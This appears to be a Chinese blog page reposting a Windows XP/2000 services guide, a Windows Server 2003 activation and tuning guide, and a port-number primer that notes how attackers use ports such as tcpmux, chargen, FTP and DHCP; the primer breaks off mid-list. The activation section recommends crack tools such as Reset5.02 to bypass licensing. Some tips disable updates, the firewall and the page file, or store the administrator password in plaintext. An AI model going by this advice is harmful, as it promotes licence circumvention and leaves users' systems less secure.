|
|
用户名:lhymmjj 笔名:lhymmjj 地区: 青海-西宁 行业:其他 |
| 日 | 一 | 二 | 三 | 四 | 五 | 六 |
各位大家好啊!!! 关于网络基础知识-网吧技术-黑客技术等. 电脑与网络-游戏与人生*风影图片-精彩壁纸 操作系统下载
我已开设新网站大家请转移喽!!!!
谢谢大家对我的支持,,,
这里我很少来了,,,也没有什么好的文章了,,,,
请到我的网站上来
支持一下,,,,,,谢谢,,,,,,
我以后,也许就不来这里了,呵呵!!!!
ros中文配置-物理接口的配置管理
ros中文说明-2基本配置管理
ros中文手册---概述
黑客常用攻击方式之DDoS攻击全面剖
WINDOWS 服务全攻略
Windows 服务全攻略
对于我们经常使用的windows
2000/xp这里边有许多服务,那么这些服务都是干什么的呢?我们需要哪些?不需要哪些?在此我向大家做一个介绍。
Win32服务程序由3部分组成:服务应用程序,服务控制程序和服务控制管理器。其中服务控制管理器维护着注册表中的服务数据,服务控制程序则是控制服务应用程序的模块,是控制服务应用程序同服务管理器之间的桥梁。服务应用程序是服务程序的主体程序,他是一个或者多个服务的可执行代码。我们可以在控制面板--管理工具--服务中找到。可以修改他们的当前状态和启动方式,它的启动方式有三种:"自动"是之当计算机启动或者需要的时候就开启。"手动"是可以在命令提示符中通过"net
start"命令打开和"net
stop"命令关闭的,"已禁止"是指在改变启动方式前,不在启动。
在众多服务程序中他们很多是互相依存的,所以我们不能随便的便停止某项服务,否则很可能造成系统的非正常情况出现,但是有的服务对我们来说的确没有什么作用,而且还占据着我们宝贵的系统资源,其实有很多程序是我们用不到的,可以关闭,从而达到节省资源的目的。
Alert(警报器)
通知选取的使用者及计算机系统管理警示。如果停止这个服务,使用系统管理警示的程序将不会收到通知。所有依存于它的服务将无法启动。一般家用计算机根本不需要传送或接收计算机系统管理来的警示(Administrative
Alerts),除非你的计算机用在局域网络上
依存:Workstation
建议:停用
Application Layer Gateway Service
提供因特网联机共享和因特网联机防火墙的第三方通讯协议插件的支持如果你不使用因特网联机共享
(ICS)
提供多台计算机的因特网存取和因特网联机防火墙 (ICF) 软件你可以关掉
依存:Internt Connection Firewall (ICF) / Internet Connection
Sharing (ICS)
建议:停用
Application Management (应用程序管理)
从win2000开始引入的一种基于msi文件格式的全新有效软件管理方案--应用程序管理组件服务,不仅可可以管理软件的安装、删除,还可以使用此服务修改、修复现有应用程序,监视文件复原并通过复原排除基本故障等。
建议:手动
Automatic Updates
启用重要 Windows
更新的下载及安装。如果停用此服务,可以手动的从 Windows Update
网站上更新操作系统。允许
Windows 于背景自动联机之下,到 Microsoft Servers
自动检查和下载更新修补程序
建议:停用
Background Intelligent Transfer Service
使用闲置的网络频宽来传输数据。 经由 Via HTTP1.1
在背景传输资料的东西,例如 Windows Update
就是以此为工作之一
依存:Remote Procedure Call (RPC) 和 Workstation
建议:停用
ClipBook (剪贴簿)
启用剪贴簿检视器以储存信息并与远程计算机共享。如果这个服务被停止,剪贴簿检视器将无法与远程计算机共享信息。任何明确依存于它的服务将无法启动。
把剪贴簿内的信息和其它台计算机分享,一般家用计算机根本用不到
依存:Network DDE
建议:停用
COM+ Event System (COM+ 事件系统)
支持"系统事件通知服务 (SENS)",它可让事件自动分散到COM
组件。如果服务被停止,SENS
会关闭,并无法提供登入及注销通知,任何明显依存它的服务都无法启动。有些程序可能用到
COM+ 组件,像 BootVis 的
optimize system 应用,如事件检查内显示的 DCOM 没有启用
依存:Remote Procedure Call (RPC) 和 System Event Notification
建议:手动
COM+ System Application
管理 COM+ 组件的设定及追踪。如果停止此服务,大部分的 COM+
组件将无法顺利运行。任何明确依存它的服务将无法启动。如事件检查内显示的 DCOM
没有启用
依存:Remote Procedure Call (RPC)
建议:手动
Computer Browser (计算机浏览器)
维护网络上更新的计算机清单,并将这个清单提供给做为浏览器的计算机。如果停止这个服务,这个清单将不会被更新或维护。如果停用这个服务,所有依存于它的服务将无法启动。
一般家庭用计算机不需要,除非你的计算机应用在局域网之上,不过在大型的局域网上有必要开这个拖慢速度吗?
依存:Server 和 Workstation
建议:停用
Cryptographic Services
提供三个管理服务: 确认 Windows 文件认证的;
从这个计算机新增及移除受信任根证认证授权凭证的;
以及协助注册这个计算机以取得凭证的
。如果这个服务被停止,这些管理服务将无法正确工作。任何明确依存于它的服务将无法启动。简单的说就是
Windows Hardware Quality Lab (WHQL)微软的一种认证,如果你有使用
Automatic
Updates ,那你可能需要这个
依存:Remote Procedure Call (RPC)
建议:手动
DHCP Client (DHCP 客户端)
透过登录及更新 IP 地址和 DNS 名称来管理网络设定。使用
DSL/Cable 、ICS 和 IPSEC
的人都需要这个来指定动态
IP,如果系统不在任何网络之中,或者网络中没有DHCp服务,那么可以设置为停用。
依存:AFD 网络支持环境、NetBT、SYMTDI、TCP/IP Protocol Driver
和 NetBios over
TCP/IP
建议:手动
Distributed Link Tracking Client (分布式连结追踪客户端)
维护计算机中或网络内不同计算机中 NTFS
档案间的连结。对于绝大多数用户来说,形同虚设,可以关闭,特殊用户除外。
依存:Remote Procedure Call (RPC)
建议:停用
Distributed Transaction Coordinator (分布式交换协调器)
协调跨越多个资源管理员的信息交换,比如数据库、消息队列及档案系统。如果此服务被停止,这些交易将不会发生。任何明显依存它的服务将无法启动。如上所说的,一般家庭用计算机用不太到,除非你启用的
Message Queuing
依存:Remote Procedure Call (RPC) 和 Security Accounts Manager
建议:停用
DNS Client (DNS 客户端)
解析并快速取得这台计算机的域名系统 (DNS)
名称。如果停止这个服务,这台计算机将无法解析 DNS 名称并寻找 Active
Directory 网域控制站的位置。所有依存于它的服务将无法启动。
如上所说的,另外 IPSEC 需要用到
依存:TCP/IP Protocol Driver
建议:手动
Error Reporting Service
允许对执行于非标准环境中的服务和应用程序的错误报告。微软的应用程序错误报告服务,对于大多数用户来说也没什么用处,对于盗版用户来说更没什么用处,建议停用。
依存:Remote Procedure Call (RPC)
建议:停用
Event Log (事件记录文件)
启用 Windows
为主的程序和组件所发出的事件讯息可以在事件检视器中检视。这个服务不能被停止。允许事件讯息显示在事件检视器之上。
依存:Windows Management Instrumentation
建议:自动
Fast User Switching Compatibility
在多使用者环境下提供应用程序管理。另外像是注销画面中的切换使用者功能,一般建议不要停止,否则很多功能无法实现。
依存:Terminal Services
建议:手动
Help and Support
微软提供的可以支持说明和帮助文件的服务。如果这个服务停止,将无法使用说明及支持中心。它的所有依存服务将无法启动。
如果不使用就关了吧,现实中证明没有多少人需要它,除非有特别需求,否则建议停用。
依存:Remote Procedure Call (RPC)
建议:停用
Human Interface Device Access
启用对人体工程学接口装置 (HID) 的通用输入存取,HID
装置启动并维护对这个键盘、远程控制、以及其它多媒体装置上事先定义的快捷纽的使用。如果这个服务被停止,这个服务控制的快捷纽将不再起作用,任何明确依存于它的服务将无法启动。如果没有什么HID装置,可以停用
依存:Remote Procedure Call (RPC)
建议:手动
IMAPI CD-Burning COM Service
使用 Image Mastering Applications Programming Interface
(IMAPI)
来管理光盘刻录。如果这个服务被停止,这个计算机将无法刻录光盘。任何明确地依赖它的服务将无法启动。
XP 整合的 CD-R 和
CD-RW 光驱上拖放的烧录功能,可惜比不上烧录软件,关掉还可以加快
Nero 的开启速度,如果不习惯使用第三方软件,请保留。
建议:停用
Indexing Service (索引服务)
本机和远程计算机的索引内容和档案属性;
透过弹性的查询语言提供快速档案存取。
简单的说可以让你加快搜查速度,不过我想应该很少人和远程计算机作搜寻吧,除非特殊工作
依存:Remote Procedure Call (RPC)
建议:停用
Internet Connection Firewall (ICF) / Internet Connection
Sharing
(ICS)
为您的家用网络或小型办公室网络提供网络地址转译、寻址及名称解析服务和防止干扰的服务。如果你不使用因特网联机共享(ICS)或是
XP 内含的因特网联机防火墙(ICF)你可以关掉
依存:Application Layer Gateway Service、Network
Connections、Network
Location Awareness(NLA)、Remote Access Connection Manager
建议:停用
IPSEC Services (IP 安全性服务)
管理 IP 安全性原则并启动 ISAKMP/Oakley (IKE) 及 IP
安全性驱动程序。协助保护经由网络传送的数据。IPSec
为一重要环节,为虚拟私人网络 (VPN) 中提供安全性,而 VPN
允许组织经由因特网安全地传输数据。在某些网域上也许需要,但是一般使用者大部分是不太需要的
依存:IPSEC driver、Remote Procedure Call (RPC)、TCP/IP
Protocol
Driver
建议:手动
Logical Disk Manager (逻辑磁盘管理员)
侦测及监视新硬盘磁盘,以及传送磁盘区信息到逻辑磁盘管理系统管理服务以供设定。如果这个服务被停止,动态磁盘状态和设定信息可能会过时。任何明确依存于它的服务将无法启动。磁盘管理员用来动态管理磁盘,如显示磁盘可用空间等和使用
Microsoft Management Console(MMC)主控台的功能
依存:Plug and Play、Remote Procedure Call (RPC)、Logical Disk
Manager Administrative Service
建议:自动
Logical Disk Manager Administrative Service
(逻辑磁盘管理员系统管理服务)
设定硬盘磁盘及磁盘区,服务只执行设定程序然后就停止。使用
Microsoft Management
Console(MMC)主控台的功能时才用到
依存:Plug and Play、Remote Procedure Call (RPC)、Logical Disk
Manager
建议:手动
Messenger (信使服务)
在客户端及服务器之间传输网络传送及
"Alerter]"服务短信。这个服务与 Windows Messenger
无关。如果停止这个服务,Alerter
讯息将不会被传输。所有依存于它的服务将无法启动。比如网络之间互相传送提示信息的功能,net
send 功能,如不想被骚扰话可关了。
依存:NetBIOS Interface、Plug and Play、Remote Procedure Call
(RPC)、Workstation
建议:停用
MS Software Shadow Copy Provider
管理磁盘区阴影复制服务所取得的以软件为主的磁盘区阴影复制。如果停止这个服务,就无法管理以软件为主的磁盘区阴影复制。任何明确依存于它的服务将无法启动。如上所说的,用来备份的东西,如
MS Backup 程序就需要这个服务,但是大多数人用不到这个功能。
依存:Remote Procedure Call (RPC)
建议:停用
Smart Card
管理这个计算机所读取智能卡的存取。如果这个服务被停止,这个计算机将无法读取智能卡。任何明确依存于它的服务将无法启动。
如果你不使用 Smart Card ,那就可以关了
依存:Plug and Play
建议:停用
Smart Card Helper (智能卡协助程序)
启用对计算机使用的旧版非即插即用智能卡读取的支持。如果这个服务被停止,这个计算机将不支持旧版smart
card。任何明确依存于它的服务将无法启动。 如果你不使用 Smart Card
,那就可以关了
建议:停用
SSDP Discovery Service
在您的家用网络上启用通用即插即用设备的搜索。通用即插即用服务
(Universal Plug and Play, UPnP)
让计算机可以找到并使用网络上的装置,经由网络连接通过 TCP/IP
来搜索装置,像网络上的扫瞄器、数字相机或是打印机,都是使用
UPnP
的功能,基于安全性没用到的大可关了。不过现在数码设备很流行,需要的用户可以保留
依存:Universal Plug and Play Device Host
建议:停用
System Event Notification (系统事件通知)
追踪诸如 Windows
登入、网络、和电源事件的系统事件。通知这些事件的 COM+
事件系统订阅者。对于服务器尤其重要。
依存:COM+ Event System
建议:自动
System Restore Service
执行系统还原功能。若要停止服务,从我的电脑--属性--系统还原
中关闭系统还原因人而定,本人觉得比较浪费资源,可以关掉。
依存:Remote Procedure Call (RPC)
建议:停用
Task Scheduler
让用户能够在这个计算机上设定自动的工作的计划,并执行。如果停止这个服务,这些工作在它们设定的时间时将不会执行。任何明确依存于它的服务将无法启动。设定自动的工作计划,像一些定时磁盘扫瞄、病毒定时扫瞄、更新等等,但是一般都很少用,可以关闭
依存:Remote Procedure Call (RPC)
建议:手动
TCP/IP NetBIOS Helper (TCP/IP NetBIOS 协助程序)
启用NetBIOS over TCP/IP
(NetBT)]服务及NetBIOS名称解析的支持。如果你的网络不使用
NetBios或是WINS,你大可关闭,对于不太了解网络情况的用户建议保留,否则可能导致你的网络出现问题。
依存:AFD 网络支持环境、NetBt
建议:停用
Telephony (电话语音)
为本机及经由局域网络连接到正在执行此服务的服务器,控制电话语音装置和 IP
语音连接的服务,提供电话语音 API (TAPI)
支持。一般的拨号调制解调器或是一些 DSL/Cable 可能用到
依存:Plug and Play、Remote Procedure Call (RPC)、Remote
Access
Connection Manager、Remote Access Auto Connection Manager
建议:手动
Telnet
启用一个远程使用者来登入到这台计算机和执行应用程序,以及支持各种 TCP/IP
Telnet 客户端,包含以UNIX为基本和以
Windows
为基本的计算机。如果服务停止了,远程使用者可能无法存取应用程序。任何明确地依存于这项服务的其它服务将会启动失败。允许远程用户用
Telnet
登入本计算机,一般人会误解关了就无法使用BBS,这其实和BBS无关,基于安全性的理由,如果没有特别的需求,建议最好关了
依存:NT LM Security Support Provider、Remote Procedure Call
(RPC)、TCP/IP Protocol Driver
建议:停用
Terminal Services (终端服务)
允许多位使用者连接到同一部计算机、桌面及到远程计算机的应用程序。远程桌面的加强
(包含系统管理员的
RD)、快速切换使用者、远程协助和终端机服务器。远程桌面或是远程协助的功能,不需要就关了,目前该服务也导致了很多网络服务器的安全性问题。
依存:Remote Procedure Call (RPC)、Fast User Switching
Compatibility、InteractiveLogon
建议:停用
Themes
提供使用者主题管理。
很多人使用布景主题,打造个性化的系统,不过如果没有使用的人,那就可以关闭。
建议:自动
Uninterruptible Power Supply (不断电供电系统)
管理连接到这台计算机的不间断电源供应 (UPS)。不间断电源供应
(UPS)一般人有用到吗?除非你的电源供应器有具备此功能,不然就关了
建议:停用
Universal Plug and Play Device Host
提供主机通用即插即用装置的支持。用来侦测安装通用即插即用服务
(Universal Plug and Play,
UPnP)装置,像是数字相机或打印机,现在很多设备都需要这个。
依存:SSDP Discovery Service
建议:自动
Volume Shadow Copy
管理及执行用于备份和其它目的的磁盘镜像复制。如果这个服务被停止,镜像复制将无法用于备份,备份可能会失败。任何明确依存于它的服务将无法启动。如上所说的,用来备份的东西,如
MS Backup 程序就需要这个服务
依存:Remote Procedure Call (RPC)
建议:停用
WebClient
启用 Windows
为主的程序来建立、存取,以及修改因特网为主的文件。如果停止这个服务,这些功能将无法使用。任何明确依存于它的服务将无法启动。使用
WebDAV 将档案或文件上载到所有的 Web
服务,基于安全性的理由,你可以尝试关闭
依存:WebDav Client Redirector
建议:停用
Windows Audio
管理用于 Windows
为主程序的音讯装置。如果这个服务被停止,音讯装置和效果将无法正常运作。任何明确依存于它的服务将无法启动。如果你没有声卡可以关了他,但是现在的个人电脑不会没有声卡吧?
依存:Plug and Play、Remote Procedure Call (RPC)
建议:自动
Windows Image Acquisition (WIA) (Windows影像取得程序)
为扫描仪和数码相机提供影像采集服务。如果扫描仪和数字相机内部具有支持WIA功能的话,那就可以直接看到图档,不需要其它的驱动程序,所以没有扫描仪和数字相机的使用者大可关了
依存:Remote Procedure Call (RPC)
建议:停用
Windows Installer (Windows 安装程序)
根据包含在 .MSI
档案内的指示来安装,修复以及移除软件。是一个系统服务,协助使用者正确地安装、设定、追踪、升级和移除软件程序,可管理应用程序建立和安装的标准格式,并且追踪例如档案群组、登录项目及快捷方式等组件,很多软件的安装都需要用到这个服务,所以建议保留,否则会遇到很多麻烦的。
依存:Remote Procedure Call (RPC)
建议:自动
Windows Management Instrumentation (WMI)
提供公用接口及对象模型,以存取有关操作系统、设备、应用程序及服务的管理信息。如果这个服务已停止,大多数的
Windows
软件将无法正常运作。所有依存于它的服务都将无法启动。
如上说的,是一种提供一个标准的基础结构来监视和管理系统资源的服务,由不得你动他
依存:Event Log、Remote Procedure Call (RPC)
建议:自动
Windows Management Instrumentation Driver Extensions (Windows
Management Instrumentation 驱动程序延伸)
提供系统管理信息管理驱动程序。Windows
Management Instrumentation 的延伸,提供信息用的,可以设置为手动
建议:手动
Windows Time (Windows 时间设定)
维护在网络上所有客户端及服务器的数据及时间同步处理。如果这个服务停止,将无法进行日期及时间同步处理。所有依存的服务都会停止。
网络对时校准没有太大的意义,而且占有不少的资源,可以关闭
建议:停用
Wireless Zero Configuration
为 802.11 适配卡提供自动设定
自动配置无线网络装置,言下之意就是说,除非你有在使用无线网络装置,那么你才有必要使用这个网络零管理服务,否则这个对你一点作用也没有。
依存:NDIS Usermode I/O Protocol、Remote Procedure Call (RPC)
建议:停用
WMI Performance Adapter
提供来自 WMIHiPerf
提供者的效能链接库信息。对大多数用户没有太大作用
依存:Remote Procedure Call (RPC)
建议:停用
Workstation (工作站)
建立并维护到远程服务器的客户端网络联机。如果停止这个服务,这些联机将无法使用。所有依存于它的服务将无法启动。是网络连接中所必要的一些功能
依存:Alerter、Background Intelligent Transfer
Service、Computer
Browser、Messenger、Net Logon、Remote Procedure Call (RPC) Locator
建议:自动
Windows中很多服务都是用不上的,大家可以根据自己的需求,自己去决定保留哪些,关闭哪些,相信经过你的修改,系统资源会大大增加。
WINDOWS 2003 激活和优化
Windows 2003 激活和优化
1.windows server 2003 3790版本识别
RTM=release to manufacture (公开发行批量生产)是给硬件制造商的版本!是送去压盘的,不是拿去卖的。
OEM=Original Equipment Manufacturer只能全新安装, 和RTM差不多,只是称呼不同而已。
RTL=retail(零售)正式零售版,可以升级或者全新安装。
VLK=Volume License大量授权版,又称为企业版。
2.windows server 2003 3790版的激活
在正式版算号器没有出来之前,现在流行的激活方式有以下几种:
(1)Reset5.02,在安全模式下运行即可激活,把时间调整为2008年都没有问题,一切使用正常。可以升级。
缺点:激活程序被彻底屏蔽,表现为运行msoobe /a没有任何显示,并且在服务中有一项reset5,开机会自动运行此服务,C:\WINDOWS\system32\srvany.exe,此程序应该是reset5添加入系统的。
(2)俄罗斯破解,记得在xp时代,只要把setupreg.hiv在安装前替换,然后电话激活就可以达到完美的激活境界,可在2003下,这样子做之后,当前显示已激活,可如果你调整了时间再开机又会显示要激活,甚至是不能使用。估计次次问题关键还是在那个setupreg.hiv文件。
(3)在论坛上有人贴出了一个Winxpactivation.exe的文件,号称可以激活,实际上这个还是假激活,暂时屏蔽了激活程序,是不能够修改时间的。
(4)用替换法做出来的伪VLK,安装使用都没有问题,只是不能升级。VLK是替换英文版的8个文件.但是SN已经被微软封掉了.所以不能升级。
结论:推荐大家用reset5.02激活!
3.禁用配置服务器向导
禁止“配置你的服务器”(Manage Your Server)向导的出现:在控制面板(Control Panel) -> 管理员工具(Administrative Tools )-> 管理你的服务器(Manage Your Server)运行它,然后在窗口的左下角复选“
登录时不要显示该页”(Don''t display this page at logon)。
4.禁用Internet Explorer Enhanced Security 和禁止安全询问框的出现在IE工具选项中自定义设置IE的安全级别。在”安全“(Security)选项卡上拉动滚动条把Internet区域安全设置为”中“(Medium)或“中低”。自定义设置中将有关的选择“提示”修改为选择“禁止”或“启用”。
5.禁用关机事件跟踪
开始 -> 运行 -> gpedit.msc -> Computer configuration -> Administrative Templates -> System -> Display shutdown event tracker -> 设置为 Disable。如果是中文版,则:开始 -> 运行 -> gpedit.msc->计算机配置 -> 管理模板 -> 系统 -> 显示关机事件跟踪 -> 禁用。
6. 禁用开机 CTRL+ALT+DEL和实现自动登陆
方法1:打开注册表(运行->“Regedit”),再打开:
HKEY_LOCAL_MACHIN|SOFTWARE|MicroSoft|Windows NT|CurrentVersion |Winlogon段,在此中按右键,新建二个字符串段,AutoAdminLogon=“1”,DefaultPassword=“为超级用户Administrator所设置的Password”。 注意,一定要为Administrator设置一个密码,否则不能实现自启动。 然后,重新启动Windows即可实现自动登录。
方法2:管理工具 -> Local Security Settings(本地安全策略) -> 本地策略 -> 安全选项 -> interactive logon: Do not require CTRL+ALT+DEL,启用之。
方法3(自动登陆):使用Windows XP的Tweak UI来实现Server 2003自动登陆。下载:Tweak UI http://www.ssite.org/uppic/sun_pic/...003/tweakui.exe下载后直接执行tweakui.exe 在左边的面板中选择Logon -> Autologon -> 在右边勾写),点击下面的Set Password,输入用户名的密码,然后点击OK。
7.启用硬件和DirectX加速
★硬件加速:桌面点击右键--属性(Properties) -> 设置(Settings )--高级( Advanced )--疑难解答(Troubleshoot)。把该页面的硬件加速滚动条拉到“完全”( Full),最好点击“确定”(OK)保存退出。这期间可能出现一瞬的黑屏是完全正常。
★DirectX加速:打开“开始”(Start) -> “运行”(Run),键入“dxdiag”并回车打开“DirectX 诊断工具”(DirectX Tools),在“显示”(Display)页面,点击DirectDraw, Direct3D and AGP Texture 加速三个按钮启用加速。把“声音的硬件加速级别”(Hardware Sound Acceleration Level)滚动条拉到“完全加速”( Full Acceleration)。
8.启用桌面主题和隐藏文件
打开“开始”(Start) -> “运行”(Run),键入“Services.msc ”,选themes“主题”(默认是禁止的),然后改为“自动”,按“应用”,选“开启”。接着点“桌面”的属性,在“主题”里选“windows xp”Windows Server 2003默认显示所有的文件夹,如果可以通过以下方法来隐藏:打开任意一个文件夹,选择“工具” -> “文件夹选项” -> “查看”,选择“不显示隐藏的文件和文件夹”,点击“确定”。
9.允许内置的IMAPI CD-Burning服务和支持Windows影像设备服务
★启用Windows内置的IMAPI CD-Burning服务:打开“开始”(Start) -> “运行”(Run),键入“Services.msc ”,在出现的窗口中找到“IMAPI CD-Burning COM Service ”并双击它,然后在启动模式(startup type )的下拉菜单选择“自动”(Automatic),并点击“应用”(Apply) ->“开始”(Start) -> “确定”(OK)
★假如你有如数码相机和扫描仪之类的影像设备,应该打开Windows Image Acquisition 服务。
打开“开始”(Start) -> “运行”(Run),键入“Services.msc ”,在出现的窗口中找到“Windows Image Acquisition (WIA) ”并双击它,然后在启动模式(startup type )的下拉菜单选择“自动”(Automatic),并点击“应用”(Apply) ->“开始”(Start) -> “确定”(OK)
10.高级设置
★禁用错误报告
右键点击“我的电脑”(My Computer)--属性(Properties)--高级(Advanced)--点击“错误报告”(Error Reporting )按钮,在出现的窗口中把“禁用错误报告”(Disable Error Reporting)选上并复选“但在发生严重错误时通知我”
(But, notify me when critical errors occur.)
★调整虚拟内存
一些朋友经常会对关机和注销缓慢感到束手无策,解决办法就是禁用虚拟内存,这样你的注销和关机时间可能会加快很多。右键点击“我的电脑”(My Computer)--属性(Properties)--高级(Advanced)--性能(Performance)--设置(Setting)--高级(Advanced),点击“虚拟内存”(Virtual memory)部分的“更改”(Change),然后在出现的窗口选择“无分页文件”。重启系统即可。
11.加快启动和运行速度
**修改注册表,减少预读取,减少进度条等待时间:开始→运行→regedit启动注册表编辑器,HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters, 有一个键值名为EnablePrefetcher,它的值是3,把它改为“1”或“5”。找到 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control, 将 WaitToKillServiceTimeout 设为:1000或更小。 ( 原设定值:20000 ) 找到 HKEY_CURRENT_USER\Control Panel\Desktop 键,将右边视窗的WaitToKillAppTimeout 改为 1000, ( 原设定值:20000 )即关闭程序时仅等待1秒。将 HungAppTimeout 值改为:200( 原设定值:5000 ), 表示程序出错时等待0.5秒。
**让系统自动关闭停止回应的程式。
打开注册表 HKEY_CURRENT_USER\Control Panel\Desktop 键, 将 AutoEndTasks 值设为 1。 ( 原设定值:0 )
**禁用系统服务Qos
开始菜单→运行→键入 gpedit.msc ,出现“组策略”窗口, 展开 "管理模板”→“网络” , 展开 "QoS 数据包调度程序", 在右边窗右键单击“限制可保留带宽" ,在属性中的“设置”中有“限制可保留带宽" ,选择“已禁用”,确定即可。当上述修改完成并应用后,用户在网络连接的属性对话框内的一般属性标签栏中如果能够看到"QoS Packet Scheduler(QoS 数据包调度程序)"。说明修改成功,否则说明修改失败。
**改变窗口弹出的速度:
找到HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics子键分支,在右边的窗口中找到MinAniMate键值,其类型为REG_SZ,默认情况下此健值的值为1,表示打开窗口显示的动画,把它改为0,则禁止动画显示,接下来从开始菜单中选择“注销”命令,激活刚才所作的修改。
**禁止Windows XP的压缩功能:
点击“开始”下的“运行”,在“运行”输入框中输入“regsvr32/u zipfldr.dll”,然后按回车键即可。
**设置个性的启动信息或警告信息:
个性化的Windows XP启动:打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon子键分支,双击LegalNoticeCaption健值,打开“编辑字符串”对话框,在“数值数据”下的文本框中输入自己想要的信息标题,如“哥们儿,你好!”,然后点击“确定”,重新启动。如果想要改变警告信息的话可以双击LegalNoticeText健值名称,在出现的“编辑字符串”窗口中输入想要显示的警告信息,单击“确定”,重新启动。
电脑端口基础知识
端口可分为3大类:
1) 公认端口(Well Known Ports):从0到1023,它们紧密绑定于一些服务。通常这
些端口的通讯明确表
明了某种服务的协议。例如:80端口实际上总是HTTP通讯。
2) 注册端口(Registered Ports):从1024到49151。它们松散地绑定于一些服务。
也就是说有许多服务
绑定于这些端口,这些端口同样用于许多其它目的。例如:许多系统处理动态端口从
1024左右开始。
3) 动态和/或私有端口(Dynamic and/or Private Ports):从49152到65535。理论
上,不应为服务分配
这些端口。实际上,机器通常从1024起分配动态端口。但也有例外:SUN的RPC端口从
32768开始。
本节讲述通常TCP/UDP端口扫描在防火墙记录中的信息。记住:并不存在所谓ICMP端
口。如果你对解读ICMP数据感兴趣,请参看本文的其它部分。
0 通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口,
当你试图使用一种通常的闭合端口连接它时将产生不同的结果。一种典型的扫描:使用
IP地址为0.0.0.0,设置ACK位并在以太网层广播。
1 tcpmux 这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者,缺省情
况下tcpmux在这种系统中被打开。Iris机器在发布时含有几个缺省的无密码的帐户,如
lp, guest, uucp, nuucp, demos, tutor, diag, EZsetup, OutOfBox, 和4Dgifts。许
多管理员安装后忘记删除这些帐户。因此Hacker们在 Internet上搜索tcpmux并利用这
些帐户。
7 Echo 你能看到许多人们搜索Fraggle放大器时,发送到x.x.x.0和x.x.x.255的信息。
常见的一种DoS攻击是echo循环(echo-loop),攻击者伪造从一个机器发送到另一个机
器的UDP数据 包,而两个机器分别以它们最快的方式回应这些数据包。(参见Chargen
) 另一种东西是由DoubleClick在词端口建立的TCP连接。有一种产品叫做“Resonate
Global Dispatch”,它与DNS的这一端口连接以确定最近的路由。 Harvest/squid
cache将从3130端口发送UDP echo:“如果将cache的source_ping on选项打开,它将对
原始主机的UDP echo端口回应一个HIT reply。”这将会产生许多这类数据包。
11 sysstat 这是一种UNIX服务,它会列出机器上所有正在运行的进程以及是什么启动
了这些进程。这为入侵者提供了许多信息而威胁机器的安全,如暴露已知某些弱点或帐
户的程序。这与UNIX系统中“ps”命 令的结果相似.
再说一遍:ICMP没有端口,ICMP port 11通常是ICMP type=11
19 chargen 这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾
字符的包。TCP连接时,会发送含有垃圾字符的数据流知道连接关闭。Hacker利用IP欺
骗可以发动DoS攻击。伪造两个chargen服务器之间的UDP包。由于服务器企图回应两个
服务器之间的无限的往返数据通讯一个chargen和echo将导致服务器过载。同样
fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包,受害者
为了回应这些数据而过载。
21 ftp 最常见的攻击者用于寻找打开“anonymous”的ftp服务器的方法。这些服务器
带有可读写的目录。Hackers或Crackers 利用这些服务器作为传送warez (私有程序)
和pr0n(故意拼错词而避免被搜索引擎分类)的节点。
22 ssh PcAnywhere建立TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱
点。如果配置成特定的模式,许多使用RSAREF库的版本有不少漏洞。(建议在其它端口
运行ssh)还应该注意的是ssh工具包带有一个称为make-ssh-known-hosts的程序。它会
扫描整个域的ssh主机。你有时会被使用这一程序的人无意中扫描到。
UDP(而不是TCP)与另一端的5632端口相连意味着存在搜索pcAnywhere的扫描。5632(
十六进制的0x1600)位交换后是0x0016(使进制的22)。
23 Telnet 入侵者在搜索远程登陆UNIX的服务。大多数情况下入侵者扫描这一端口是为
了找到机器运行的操作系统。此外使用其它技术,入侵者会找到密码。
技术文摘Page 2 of 5
mk:@MSITStore:F:\tools\htools\book\book.chm::/MYWEB/hei.../safetv07.ht
2002-5-14
25 smtp 攻击者(spammer)寻找SMTP服务器是为了传递他们的spam。入侵者的帐户总
被关闭,他们需要拨号连接到高带宽的e-mail服务器上,将简单的信息传递到不同的地
址。SMTP服务器(尤其是sendmail)是进入系统的最常用方法之一,因为它们必须完整
的暴露于Internet且邮件的路由是复杂的(暴露+复杂=弱点)。
53 DNS Hacker或crackers可能是试图进行区域传递(TCP),欺骗DNS(UDP)或隐藏其
它通讯。因此防火墙常常过滤或记录53端口。
需要注意的是你常会看到53端口做为UDP源端口。不稳定的防火墙通常允许这种通讯并
假设这是对DNS查询的回复。Hacker常使用这种方法穿透防火墙。
67和68 Bootp和DHCP UDP上的Bootp/DHCP:通过DSL和cable-modem的防火墙常会看见大
量发送到广播地 址255.255.255.255的数据。这些机器在向DHCP服务器请求一个地址分
配。Hacker常进入它们分配一个地址 把自己作为局部路由器而发起大量的“中间人”
(man-in-middle)攻击。客户端向68端口(bootps)广播 请求配置,服务器向67端口
(bootpc)广播回应请求。这种回应使用广播是因为客户端还不知道可以发送的 IP地
址。
69 TFTP(UDP) 许多服务器与bootp一起提供这项服务,便于从系统下载启动代码。但是
它们常常错误配置而从系统提供任何文件,如密码文件。它们也可用于向系统写入文
件。
79 finger Hacker用于获得用户信息,查询操作系统,探测已知的缓冲区溢出错误,回
应从自己机器到其它机器finger扫描。
98 linuxconf 这个程序提供linux boxen的简单管理。通过整合的HTTP服务器在98端口
提供基于Web界面的服务。它已发现有许多安全问题。一些版本setuid root,信任局域
网,在/tmp下建立Internet可访问的文件,LANG环境变量有缓冲区溢出。此外因为它包
含整合的服务器,许多典型的HTTP漏洞可能存在(缓冲区溢出,历遍目录等)
109 POP2 并不象POP3那样有名,但许多服务器同时提供两种服务(向后兼容)。在同
一个服务器上POP3的漏洞在POP2中同样存在。
110 POP3 用于客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用
户名和密码交换缓冲区溢出的弱点至少有20个(这意味着Hacker可以在真正登陆前进入
系统)。成功登陆后还有其它缓冲区溢出错误。
111 sunrpc portmap rpcbind Sun RPC PortMapper/RPCBIND。访问portmapper是扫描
系统查看允许哪些RPC服务的最早的一步。常见RPC服务有:rpc.mountd, NFS,
